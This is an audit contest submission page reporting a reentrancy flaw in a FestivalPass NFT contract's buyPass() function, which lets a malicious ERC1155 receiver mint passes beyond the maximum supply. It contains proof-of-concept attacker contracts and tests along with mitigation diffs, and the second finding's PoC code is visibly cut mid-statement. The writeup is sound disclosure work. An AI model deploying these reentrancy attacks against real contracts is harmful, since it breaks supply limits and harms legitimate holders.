Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass() increments passSupply after _mint, violating CEI and allowing a reentrancy attack to mint passes beyond the configured maximum supply

Root + Impact

buyPass() calls _mint before incrementing passSupply. An ERC1155-receiver contract can re-enter buyPass() during the _mint callback while passSupply still reflects the pre-mint count, causing the supply check to pass repeatedly and minting arbitrarily many passes above the configured cap.

Description

  • buyPass() validates supply before minting: require(passSupply[collectionId] < passMaxSupply[collectionId]). It then calls _mint(msg.sender, collectionId, 1, ""), which triggers onERC1155Received on the recipient if it is a contract. Only after _mint returns does the function increment passSupply[collectionId].

  • During the onERC1155Received callback, passSupply has not yet been incremented. A malicious receiver can call buyPass() again, pass the supply check with the stale count, and receive another pass — repeating until it exhausts its ETH or reaches a desired balance.

// src/FestivalPass.sol
function buyPass(uint256 collectionId) external payable {
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // @> triggers onERC1155Received callback
++passSupply[collectionId]; // @> supply updated AFTER external call
// ...
}

Risk

Likelihood:

  • Requires deploying a contract wallet with an onERC1155Received hook — straightforward for any Solidity developer. The attacker pays the correct msg.value each time, so there is no free-mint; the economic impact scales with how many passes they are willing to purchase over the cap.

Impact:

  • The maximum supply invariant is broken. If passMaxSupply is meant to create scarcity (e.g., 10 BACKSTAGE passes), an attacker minting 20 dilutes the exclusive tier, undermines BEAT multiplier economics, and violates the social contract with legitimate pass holders who paid for scarcity.

Proof of Concept

The attacker contract re-enters buyPass() from onERC1155Received. With passMaxSupply = 2, the attacker mints 3 passes — one above the cap.

contract ReentrantBuyer is IERC1155Receiver {
FestivalPass fp;
uint256 passId;
uint256 price;
uint256 extraMints;
constructor(address _fp, uint256 _passId, uint256 _price, uint256 _extra) payable {
fp = FestivalPass(_fp); passId = _passId; price = _price; extraMints = _extra;
}
function attack() external {
fp.buyPass{value: price}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external returns (bytes4)
{
if (extraMints > 0) {
extraMints--;
fp.buyPass{value: price}(passId); // re-enter before passSupply increments
}
return this.onERC1155Received.selector;
}
// ... onERC1155BatchReceived omitted
}
function test_buyPassReentrancyExceedsMaxSupply() public {
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, 0.1 ether, 2); // max supply = 2
ReentrantBuyer attacker = new ReentrantBuyer{value: 0.3 ether}(
address(festivalPass), VIP_PASS, 0.1 ether, 1 // 1 extra re-entrant mint
);
attacker.attack();
// Supply cap was 2, but attacker minted 3
assertGt(festivalPass.passSupply(VIP_PASS), festivalPass.passMaxSupply(VIP_PASS));
}

The final passSupply exceeds passMaxSupply, confirming the cap was bypassed through reentrancy.

Recommended Mitigation

Increment passSupply before calling _mint to follow Checks-Effects-Interactions:

function buyPass(uint256 collectionId) external payable {
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!